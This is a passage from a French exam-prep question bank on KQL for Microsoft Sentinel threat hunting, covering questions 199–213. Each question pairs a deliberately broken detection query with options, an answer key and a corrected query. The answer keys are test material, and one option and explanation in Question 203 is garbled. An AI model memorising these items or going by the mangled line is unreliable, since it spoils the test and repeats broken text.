- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 199 — Point-virgule manquant après let

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** paramétrer une fenêtre de recherche. La requête échoue. Pourquoi ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
let fenetre = 3d
SecurityEvent
| where TimeGenerated > ago(fenetre)
| where EventID == 4740
```

**A.** `3d` n'est pas un littéral de durée valide ; il faut écrire `3days`.

**B.** EventID 4740 n'existe pas.

**C.** L'instruction `let` doit se terminer par un point-virgule : `let fenetre = 3d;`.

**D.** `let` ne peut pas contenir de durée.

**Bonne réponse : C**

**Correction détaillée**

Chaque instruction **let** se termine par ** `;` **. Sans lui, l'analyseur considère que la déclaration continue sur la ligne suivante.

**Analyse des réponses incorrectes**

- **A.** `3d` est valide (d, h, m, s, ms...).
- **B.** 4740 (compte verrouillé) existe ; l'erreur est syntaxique.
- **D.** `let` peut nommer n'importe quel scalaire, table ou fonction.

**Explication technique**

L'événement **4740** indique un verrouillage de compte, souvent consécutif à une force brute. Les littéraux timespan s'écrivent `30s`, `5m`, `1h`, `7d`, `100ms` ou `time(1.02:03:04)`.

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let fenetre = 3d;
SecurityEvent
| where TimeGenerated > ago(fenetre)
| where EventID == 4740
| summarize Verrouillages = count() by TargetAccount, Computer
```

**Point à retenir pour l'examen :** Toute instruction `let` se termine par `;`.

**Référence officielle**

- Let, instruction — https://learn.microsoft.com/fr-fr/kusto/query/let-statement?view=microsoft-sentinel

## Question n° 200 — Jointure sur des colonnes de noms différents

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** relier les alertes Sentinel et les connexions d'un même utilisateur. La requête échoue car les colonnes de jointure n'ont pas le même nom. Quelle syntaxe est correcte ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
SecurityAlert
| where TimeGenerated > ago(1d)
| extend Upn = tostring(CompromisedEntity)
| join kind=inner (SigninLogs | where TimeGenerated > ago(1d)) on Upn
```

**A.** `| lookup SigninLogs` sans clause on

**B.** `| join kind=inner (SigninLogs | where TimeGenerated > ago(1d)) on $left.Upn == $right.UserPrincipalName`

**C.** `| join kind=inner (SigninLogs) on Upn = UserPrincipalName`

**D.** `| union SigninLogs on Upn`

**Bonne réponse : B**

**Correction détaillée**

Lorsque les colonnes de jointure ont des noms différents, on utilise **`on $left.ColGauche == $right.ColDroite`**. Si les noms sont identiques, `on Col` suffit.

**Analyse des réponses incorrectes**

- **A.** Il faut une clé de correspondance.
- **C.** La syntaxe `a = b` n'est pas valide dans `on` ; il faut `$left.a == $right.b`.
- **D.** `union` ne prend pas de clause `on` et ne réalise pas de jointure.

**Explication technique**

Pour la robustesse : normaliser la casse (`tolower`) des deux côtés, limiter la droite dans le temps et en colonnes (`project`), et choisir explicitement `kind`. **CompromisedEntity** peut contenir un nom d'hôte ou un compte selon l'alerte ; extraire plutôt l'entité Account de la colonne Entities pour une jointure fiable.

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SecurityAlert
| where TimeGenerated > ago(1d)
| extend Upn = tolower(tostring(CompromisedEntity))
| join kind=inner (
    SigninLogs
    | where TimeGenerated > ago(1d)
    | project UserPrincipalName = tolower(UserPrincipalName), IPAddress, AppDisplayName,
ResultType
  ) on $left.Upn == $right.UserPrincipalName
```

**Point à retenir pour l'examen :** Noms de clés différents → `on $left.A == $right.B`.

**Référence officielle**

- opérateur join — https://learn.microsoft.com/fr-fr/kusto/query/join-operator?view=microsoft-sentinel

## Question n° 201 — Colonne supprimée par project

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** lister les processus enfants de winword.exe. La requête échoue : « The name 'InitiatingProcessFileName' does not refer to any known column ». Pourquoi ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
DeviceProcessEvents
| where TimeGenerated > ago(1d)
| project TimeGenerated, DeviceName, FileName, ProcessCommandLine
| where InitiatingProcessFileName =~ "winword.exe"
```

**A.** La colonne InitiatingProcessFileName n'existe pas dans DeviceProcessEvents.

**B.** Il faut utiliser `project-away` au lieu de `project`.

**C.** `=~` ne s'applique pas aux noms de fichiers.

**D.** `project` a supprimé InitiatingProcessFileName ; il faut filtrer avant `project` ou inclure la colonne dans la liste.

**Bonne réponse : D**

### Correction détaillée

Chaque opérateur travaille sur la sortie du précédent. Après **project**, seules les colonnes listées existent. Bonne pratique : **filtrer tôt** (`where`) puis **projeter à la fin**.

### Analyse des réponses incorrectes

- **A.** Elle existe ; elle a été retirée par `project`.
- **B.** `project-away` supprime des colonnes ; le problème est l'ordre des opérateurs.
- **C.** `=~` fonctionne sur toute chaîne.

### Explication technique

Placer les filtres les plus sélectifs au début améliore aussi les performances. Technique : T1204.002 / T1059 (Office lançant des interpréteurs).

### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
DeviceProcessEvents
| where TimeGenerated > ago(1d)
| where InitiatingProcessFileName =~ "winword.exe"
| project TimeGenerated, DeviceName, FileName, ProcessCommandLine
```

**Point à retenir pour l'examen :** Filtrer avant de projeter : après `project`, les autres colonnes n'existent plus.

### Référence officielle

- opérateur project — https://learn.microsoft.com/fr-fr/kusto/query/project-operator?view=microsoft-sentinel

## Question n° 202 — Nom de colonne d'agrégat

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** ne garder que les ordinateurs ayant plus de 100 échecs. La requête échoue : « The name 'Count' does not refer to any known column ». Quelle est la cause ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4625
| summarize count() by Computer
| where Count > 100
```

**A.** `summarize count()` sans alias produit une colonne nommée `count_` ; il faut filtrer sur `count_` ou nommer l'agrégat (`Echecs = count()`).

**B.** La colonne Computer n'existe pas dans SecurityEvent.

**C.** `count()` doit être écrit `Count()`.

**D.** `where` ne peut pas suivre `summarize`.

**Bonne réponse : A**

### Correction détaillée

Les agrégats non nommés reçoivent un nom généré (`count_`, `dcount_IPAddress`, `avg_DurationMs`...). **Nommer explicitement** (`Echecs = count()`) évite l'erreur et clarifie la requête. La colonne `Count` est produite par l'**opérateur** `count`, pas par la fonction.

### Analyse des réponses incorrectes

- **B.** Elle existe.
- **C.** KQL est sensible à la casse pour les fonctions : `count()` est correct.
- **D.** On peut filtrer le résultat d'un `summarize`.

**Explication technique**

Conventions de nommage automatique : `count_`, `dcount_<colonne>`, `sum_<colonne>`, `avg_<colonne>`, `max_<colonne>`... Ces noms changent si la colonne source change ; un alias explicite rend la requête stable, notamment quand elle alimente une règle d'analyse (seuil, mappage d'entités, détails personnalisés). L'événement 4625 correspond aux échecs d'ouverture de session Windows.

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4625
| summarize Echecs = count() by Computer
| where Echecs > 100
```

**Point à retenir pour l'examen :** Nommer les agrégats ; `count()` non nommé = `count_`.

**Référence officielle**

- summarize, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/summarize-operator?view=microsoft-sentinel

## Question n° 203 — Colonne utilisée avant sa création

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** filtrer les connexions survenues hors heures ouvrées. La requête échoue. Quelle correction appliquer ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
SigninLogs
| where TimeGenerated > ago(7d)
| where Heure < 7 or Heure > 20
| extend Heure = hourofday(TimeGenerated)
```

**A.** Mettre 7 et 20 entre guillemets.

**B.** Placer `extend Heure = hourofday(TimeGenerated)` avant le `where` qui utilise Heure.

**C.** Remplacer `or` par `

**D.** Remplacer `hourofday` par `datetime_part("hour")` uniquement.

**Bonne réponse : B**

**Correction détaillée**

Une colonne calculée par **extend** n'existe qu'**après** l'opérateur qui la crée. Le pipeline KQL est séquentiel.

**Analyse des réponses incorrectes**

- **A.** hourofday renvoie un entier ; la comparaison numérique est correcte.
- **C.** `. || or` est l'opérateur logique de KQL.
- **D.** Le nom de la fonction n'est pas en cause ; c'est l'ordre.

**Explication technique**

**hourofday()** renvoie l'heure (0–23) en **UTC** : pour une analyse en heure locale, décaler (`TimeGenerated + 2h`) ou utiliser `datetime_utc_to_local(TimeGenerated, "Europe/Paris")`. Combiner avec `dayofweek()` pour exclure les week-ends.

### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SigninLogs
| where TimeGenerated > ago(7d)
| extend Heure = hourofday(datetime_utc_to_local(TimeGenerated, "Europe/Paris"))
| where Heure < 7 or Heure > 20
| summarize Connexions = count() by UserPrincipalName
```

**Point à retenir pour l'examen :** Créer la colonne (extend) avant de l'utiliser ; hourofday() est en UTC.

### Référence officielle

- opérateur extend — https://learn.microsoft.com/fr-fr/kusto/query/extend-operator?view=microsoft-sentinel

## Question n° 204 — Fenêtre temporelle inversée

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** analyser les 24 dernières heures. La requête renvoie un volume énorme de données anciennes. Quelle est l'erreur ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
SecurityEvent
| where TimeGenerated < ago(1d)
| where EventID == 4688
| summarize count() by Computer
```

**A.** Il faut ajouter `now()` dans la condition.

**B.** L'EventID 4688 n'est pas collecté par défaut.

**C.** `ago(1d)` doit être remplacé par `ago(24)`.

**D.** Le comparateur est inversé : `< ago(1d)` sélectionne tout ce qui est plus ancien que 24 heures ; il faut `> ago(1d)`.

**Bonne réponse : D**

### Correction détaillée

**ago(d)** = maintenant – d. `TimeGenerated > ago(1d)` sélectionne les 24 dernières heures ; `< ago(1d)` sélectionne tout ce qui est antérieur, jusqu'à la limite de rétention.

### Analyse des réponses incorrectes

- **A.** Ce n'est pas nécessaire : `> ago(1d)` suffit.
- **B.** Sans lien avec l'inversion de la fenêtre.
- **C.** Une durée sans unité n'est pas valide ; `1d` est correct.

### Explication technique

Pour une plage précise : `between (datetime(2026-10-01) .. datetime(2026-10-02))` ou `> ago(2d) and < ago(1d)`. Toujours placer le filtre temporel en premier : il exploite le partitionnement temporel et réduit le coût.

### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4688
| summarize Processus = count() by Computer
```

**Point à retenir pour l'examen :** Dernières 24 h = `TimeGenerated > ago(1d)`.

**Référence officielle**

- ago() — https://learn.microsoft.com/fr-fr/kusto/query/ago-function?view=microsoft-sentinel

## Question n° 205 — Liste insensible à la casse

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** repérer l'exécution d'outils de découverte. La requête ne renvoie pas les lignes où FileName vaut « WHOAMI.EXE » ou « Net.exe ». Quelle correction appliquer ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
DeviceProcessEvents
| where TimeGenerated > ago(1d)
| where FileName in ("whoami.exe", "net.exe", "nltest.exe", "systeminfo.exe")
```

**A.** Utiliser `in~` au lieu de `in` pour une comparaison insensible à la casse.

**B.** Remplacer FileName par FolderPath.

**C.** Ajouter des jokers `*` dans les noms.

**D.** Utiliser `has` avec la liste.

**Bonne réponse : A**

**Correction détaillée**

**in** est sensible à la casse ; **in~** ne l'est pas. Les noms de fichiers Windows apparaissent avec des casses variées.

**Analyse des réponses incorrectes**

- **B.** FileName est la bonne colonne ; seule la casse pose problème.
- **C.** `in` ne gère pas les jokers.
- **D.** `has` n'accepte qu'un terme ; pour plusieurs termes, `has_any` existe, mais il ne garantit pas une égalité exacte.

**Explication technique**

Outils de découverte : `whoami` (T1033), `net` (T1087/T1069), `nltest /domain_trusts` (T1482), `systeminfo` (T1082). Un enchaînement rapide de ces commandes par un même processus parent est plus suspect qu'une exécution isolée.

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
DeviceProcessEvents
| where TimeGenerated > ago(1d)
| where FileName in~ ("whoami.exe", "net.exe", "nltest.exe", "systeminfo.exe")
| summarize Outils = make_set(FileName), Nb = dcount(FileName) by DeviceName,
InitiatingProcessFileName, bin(TimeGenerated, 10m)
| where Nb >= 3
```

**Point à retenir pour l'examen :** `in~` = liste insensible à la casse.

**Référence officielle**

- in~, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/in-operator?view=microsoft-sentinel

## Question n° 206 — Syntaxe de between

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** extraire les événements d'une période d'incident. La requête échoue. Quelle est la syntaxe correcte ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
SecurityEvent
| where TimeGenerated between (datetime(2026-10-01 08:00), datetime(2026-10-01 12:00))
| where Computer == "SRV-FIC01"
```

**A.** `| where TimeGenerated between ("2026-10-01 08:00" .. "2026-10-01 12:00")`

**B.** `| where TimeGenerated in (datetime(2026-10-01 08:00), datetime(2026-10-01 12:00))`

**C.** `| where TimeGenerated between (datetime(2026-10-01 08:00) .. datetime(2026-10-01 12:00))`

**D.** `| where TimeGenerated between datetime(2026-10-01 08:00) and datetime(2026-10-01 12:00)`

**Bonne réponse : C**

### Correction détaillée

**between (min .. max)** utilise l'opérateur de plage ** `..` ** et inclut les bornes. Les littéraux s'écrivent `datetime(AAAA-MM-JJ hh:mm:ss)` (ISO 8601) et sont interprétés en **UTC**.

### Analyse des réponses incorrectes

- **A.** Les bornes doivent être des datetime, pas des chaînes.
- **B.** `in` teste l'égalité avec deux instants précis, pas une plage.
- **D.** Syntaxe de type SQL non valide en KQL.

### Explication technique

`!between` exclut une plage. Pour des fenêtres relatives : `between (ago(2h) .. ago(1h))`. En investigation, fixer des bornes absolues documente précisément la période analysée.

### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SecurityEvent
| where TimeGenerated between (datetime(2026-10-01 08:00) .. datetime(2026-10-01 12:00))
| where Computer == "SRV-FIC01"
| summarize count() by EventID
```

**Point à retenir pour l'examen :** `between (a .. b)` avec des bornes datetime UTC.

### Référence officielle

- between, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/between-operator?view=microsoft-sentinel
- Type de données datetime — https://learn.microsoft.com/fr-fr/kusto/query/scalar-data-types/datetime?view=microsoft-sentinel

## Question n° 207 — Ordre des arguments de arg_max

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** obtenir le dernier événement de chaque appareil. La requête échoue. Quelle correction appliquer ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
Heartbeat
| where TimeGenerated > ago(1d)
| summarize arg_max(*, TimeGenerated) by Computer
```

**A.** Ajouter `kind=latest`.

**B.** Inverser les arguments : `arg_max(TimeGenerated, *)` — l'expression à maximiser vient en premier, puis les colonnes à renvoyer.

**C.** Remplacer `arg_max` par `max(*)`.

**D.** Remplacer `by Computer` par `on Computer`.

**Bonne réponse : B**

**Correction détaillée**

Syntaxe : **arg_max(ExprAMaximiser, Col1, Col2... | *)**. Le premier argument est la valeur comparée, les suivants les colonnes renvoyées depuis la ligne gagnante.

**Analyse des réponses incorrectes**

- **A.** Ce paramètre n'existe pas.
- **C.** `max` ne renvoie pas toute la ligne et n'accepte pas `*`.
- **D.** `summarize` utilise `by`.

**Explication technique**

Cette requête permet de repérer les agents silencieux : `| where TimeGenerated < ago(1h)` après le `summarize` signale les ordinateurs sans battement de cœur depuis une heure.

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
Heartbeat
| where TimeGenerated > ago(1d)
| summarize arg_max(TimeGenerated, *) by Computer
| where TimeGenerated < ago(1h)
| project Computer, DernierBattement = TimeGenerated, OSType, Category
```

**Point à retenir pour l'examen :** `arg_max(Temps, *)` : d'abord la valeur à maximiser, ensuite les colonnes.

**Référence officielle**

- arg_max() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/arg-max-aggregation-function?view=microsoft-sentinel

## Question n° 208 — Chemin Windows et chaînes verbatim

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** détecter les exécutables lancés depuis le dossier Public. La requête ne renvoie aucun résultat alors que des exécutions existent. Quelle est la cause la plus probable ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FolderPath startswith "C:\Users\Public\"
```

**A.** FolderPath ne contient que le nom de fichier.

**B.** Il faut remplacer les antislashs par des barres obliques `/`.

**C.** `startswith` n'existe pas en KQL.

**D.** Dans une chaîne normale, l'antislash est un caractère d'échappement ; il faut le doubler (`"C:\\Users\\Public\\"`) ou utiliser une chaîne verbatim `@"C:\Users\Public\"`.

**Bonne réponse : D**

**Correction détaillée**

En KQL, `\` échappe le caractère suivant dans les chaînes entre guillemets. Les **chaînes verbatim** préfixées par **`@`** désactivent l'échappement : idéales pour les chemins Windows et les expressions

régulières.

**Analyse des réponses incorrectes**

- **A.** FolderPath contient le chemin complet.
- **B.** Les chemins Windows enregistrés utilisent `\`.
- **C.** L'opérateur existe.

**Explication technique**

Les dossiers inscriptibles par tous (`C:\Users\Public`, `C:\ProgramData`, `%TEMP%`) sont des emplacements classiques de dépôt de charges. `startswith` est insensible à la casse (variante `startswith_cs`).

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FolderPath startswith @"C:\Users\Public\"
| summarize Executions = count() by FileName, FolderPath, DeviceName
```

**Point à retenir pour l'examen :** Chemins Windows et regex → chaînes verbatim `@"..."`.

**Référence officielle**

- Opérateurs de chaîne — https://learn.microsoft.com/fr-fr/kusto/query/datatypes-string-operators?view=microsoft-sentinel
- Syntaxe des expressions régulières — https://learn.microsoft.com/fr-fr/kusto/query/regex?view=microsoft-sentinel

## Question n° 209 — top sans critère de tri

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** afficher les 5 adresses IP sources les plus bloquées par le pare-feu. La requête échoue. Quelle correction appliquer ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
CommonSecurityLog
| where TimeGenerated > ago(1d)
| where DeviceAction == "deny"
| summarize Blocages = count() by SourceIP
| top 5
```

**A.** Préciser le critère : `| top 5 by Blocages`.

**B.** Remplacer `count()` par `sum()`.

**C.** Ajouter `asc` après `top 5`.

**D.** Remplacer `top 5` par `limit 5`.

**Bonne réponse : A**

**Correction détaillée**

**top N by Expression [asc|desc]** exige un critère de tri ; l'ordre par défaut est **décroissant**. `take` / `limit` ne trient pas.

**Analyse des réponses incorrectes**

- **B.** `sum` exige une colonne numérique à additionner ; ce n'est pas l'erreur.
- **C.** Il manque toujours la colonne de tri, et l'ordre croissant donnerait les moins bloquées.
- **D.** `limit` renvoie 5 lignes quelconques, pas les 5 plus bloquées.

**Explication technique**

Pour obtenir les N premiers par groupe (par exemple les 3 IP les plus bloquées par pare-feu), utiliser `top-nested` ou `partition`.

### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
CommonSecurityLog
| where TimeGenerated > ago(1d)
| where DeviceAction == "deny"
| summarize Blocages = count() by SourceIP
| top 5 by Blocages
```

**Point à retenir pour l'examen :** `top N by col` (décroissant par défaut) ; `take` / `limit` ne trient pas.

### Référence officielle

- opérateur top — https://learn.microsoft.com/fr-fr/kusto/query/top-operator?view=microsoft-sentinel

## Question n° 210 — Comparer une valeur à un tableau

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** trouver les incidents contenant une alerte précise (SystemAlertId connu). La requête ne renvoie rien alors que l'incident existe. Quelle correction appliquer ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
SecurityIncident
| where TimeGenerated > ago(7d)
| where AlertIds == "8d2f6c1a-3b4e-4f5a-9c8d-7e6f5a4b3c2d"
```

**A.** Remplacer `==` par `=`.

**B.** Utiliser la table SecurityAlert à la place, sans autre changement.

**C.** AlertIds est un tableau dynamique : utiliser `set_has_element(AlertIds, "8d2f…")`, `AlertIds has "8d2f…"`, ou développer le tableau avec `mv-expand` avant de comparer.

**D.** Mettre l'identifiant en majuscules.

**Bonne réponse : C**

### Correction détaillée

Une colonne **dynamique de type tableau** ne vaut jamais une chaîne isolée. On teste l'appartenance avec **set_has_element()** / **array_index_of()** ou `has` (recherche de terme dans le contenu), ou on éclate le tableau avec **mv-expand**.

### Analyse des réponses incorrectes

- **A.** `=` n'est pas un opérateur de comparaison.
- **B.** SecurityAlert n'a pas de colonne AlertIds ; il faudrait filtrer sur SystemAlertId puis relier à l'incident.
- **D.** La casse n'est pas en cause : on compare un tableau entier à une chaîne.

### Explication technique

SecurityIncident contient plusieurs colonnes dynamiques (AlertIds, Labels, Owner, Comments, Tasks). Pour un état fiable, dédupliquer avec `arg_max` avant de filtrer.

### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SecurityIncident
| where TimeGenerated > ago(7d)
| summarize arg_max(TimeGenerated, *) by IncidentNumber
| where set_has_element(AlertIds, "8d2f6c1a-3b4e-4f5a-9c8d-7e6f5a4b3c2d")
| project IncidentNumber, Title, Status, Severity
```

**Point à retenir pour l'examen :** Tableau dynamique : `set_has_element()`, `has` ou `mv-expand`, jamais `==` avec une chaîne.

**Référence officielle**

- mv-expand, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/mv-expand-operator?view=microsoft-sentinel
- Le type de données dynamiques — https://learn.microsoft.com/fr-fr/kusto/query/scalar-data-types/dynamic?view=microsoft-sentinel

## Question n° 211 — Union de colonnes aux noms différents

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** recherche d'une adresse IP dans les journaux Windows et pare-feu. La requête suivante ne renvoie que des résultats de CommonSecurityLog, alors que SecurityEvent contient l'IP. Pourquoi ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
union SecurityEvent, CommonSecurityLog
| where TimeGenerated > ago(1d)
| where SourceIP == "203.0.113.50"
```

**A.** La comparaison d'IP exige `ipv4_compare()`.

**B.** Dans SecurityEvent, l'adresse se trouve dans la colonne IpAddress, pas SourceIP ; après l'union, SourceIP est vide pour les lignes SecurityEvent. Il faut harmoniser, par exemple `extend IP = coalesce(SourceIP, IpAddress)` puis filtrer sur IP.

**C.** Il faut écrire `union kind=inner`.

**D.** `union` ne fonctionne qu'avec deux tables du même connecteur.

**Bonne réponse : B**

### Correction détaillée

**union** aligne les colonnes **par nom** ; une colonne absente d'une table vaut vide pour ses lignes. On harmonise avec **extend** + **coalesce()** (première valeur non vide) ou en renommant dans chaque branche.

### Analyse des réponses incorrectes

- **A.** L'égalité de chaînes est valide pour une IP exacte.
- **C.** `kind=inner` ne garderait que les colonnes communes, sans résoudre la différence de noms.
- **D.** `union` accepte n'importe quelles tables.

### Explication technique

C'est exactement le problème que résout la **normalisation ASIM** (SrcIpAddr commun à toutes les sources). La recherche plein texte `search "203.0.113.50"` fonctionne aussi mais est coûteuse.

### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
union SecurityEvent, CommonSecurityLog
| where TimeGenerated > ago(1d)
| extend IP = coalesce(SourceIP, IpAddress)
| where IP == "203.0.113.50"
| summarize Evenements = count() by Type, Computer, DeviceVendor
```

**Point à retenir pour l'examen :** union aligne par nom : harmoniser les colonnes (coalesce, renommage) ou utiliser ASIM.

### Référence officielle

- opérateur union — https://learn.microsoft.com/fr-fr/kusto/query/union-operator?view=microsoft-sentinel
- fusionner() — https://learn.microsoft.com/fr-fr/kusto/query/coalesce-function?view=microsoft-sentinel

## Question n° 212 — bin() appliqué au mauvais type

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** histogramme horaire des connexions. La requête donne une seule tranche par utilisateur au lieu d'une série horaire. Quelle est l'erreur ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
SigninLogs
| where TimeGenerated > ago(1d)
| summarize Connexions = count() by UserPrincipalName, bin(UserPrincipalName, 1h)
```

**A.** `bin()` doit s'appliquer à la colonne temporelle : `by UserPrincipalName, bin(TimeGenerated, 1h)`.

**B.** Il faut remplacer `1h` par `60m`.

**C.** Il manque `render timechart`.

**D.** `bin()` ne peut pas être utilisé dans `summarize`.

**Bonne réponse : A**

**Correction détaillée**

**bin(valeur, taille)** arrondit une valeur numérique ou temporelle vers le bas au multiple de la taille. Appliqué à une chaîne, il n'a pas de sens (l'analyseur signale une erreur de type) ; pour une série horaire, on l'applique à **TimeGenerated**.

**Analyse des réponses incorrectes**

- **B.** Les deux écritures sont équivalentes.
- **C.** La visualisation n'est pas la cause de l'erreur.
- **D.** C'est précisément son usage principal.

**Explication technique**

`bin()` accepte des tailles en durée (`5m`, `1h`, `1d`) pour les datetime et des tailles numériques pour les nombres (par exemple `bin(SentBytes, 1000000)` pour des tranches de 1 Mo). `bin_at()` permet d'aligner les tranches sur une origine précise ; `startofday()` / `startofweek()` arrondissent au jour ou à la semaine.

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SigninLogs
| where TimeGenerated > ago(1d)
| summarize Connexions = count() by UserPrincipalName, bin(TimeGenerated, 1h)
```

**Point à retenir pour l'examen :** `bin(TimeGenerated, 1h)` pour les séries temporelles ; bin s'applique à des nombres ou des dates.

**Référence officielle**

- bin() — https://learn.microsoft.com/fr-fr/kusto/query/bin-function?view=microsoft-sentinel
- summarize, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/summarize-operator?view=microsoft-sentinel

## Question n° 213 — Jointure sur clé de casse différente

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** enrichir des alertes MDE avec les informations d'identité. La jointure ne renvoie que la moitié des résultats attendus. AccountName vaut « JDupont » dans une table et « jdupont » dans l'autre. Quelle correction appliquer ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
DeviceLogonEvents
| where TimeGenerated > ago(1d)
| join kind=inner (IdentityInfo | where TimeGenerated > ago(14d)) on $left.AccountName ==
$right.AccountName
```

**A.** Remplacer `kind=inner` par `kind=leftanti`.

**B.** Utiliser `=~` dans la clause `on`.

**C.** Normaliser la casse des deux côtés avant la jointure, par exemple `extend Compte = tolower(AccountName)` dans chaque branche, puis `on Compte`.

**D.** Remplacer `join` par `union`.

**Bonne réponse : C**

#### Correction détaillée

Les clés de **join** sont comparées de façon **sensible à la casse** et seule l'égalité `==` est autorisée. On normalise avec **tolower()** (ou toupper) des deux côtés.

#### Analyse des réponses incorrectes

- **A.** On obtiendrait les lignes sans correspondance, l'inverse du besoin.
- **B.** La clause `on` n'accepte que `==` (égalité stricte).
- **D.** L'union n'enrichit pas les lignes.

#### Explication technique

IdentityInfo (Sentinel/UEBA) est un instantané historisé : prendre la dernière ligne par compte (`summarize arg_max(TimeGenerated, *) by AccountName`) avant la jointure pour éviter les doublons. Préférer des identifiants stables (SID, ObjectId) aux noms quand ils sont disponibles.

#### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
DeviceLogonEvents
| where TimeGenerated > ago(1d)
| extend Compte = tolower(AccountName)
| join kind=inner (
    IdentityInfo
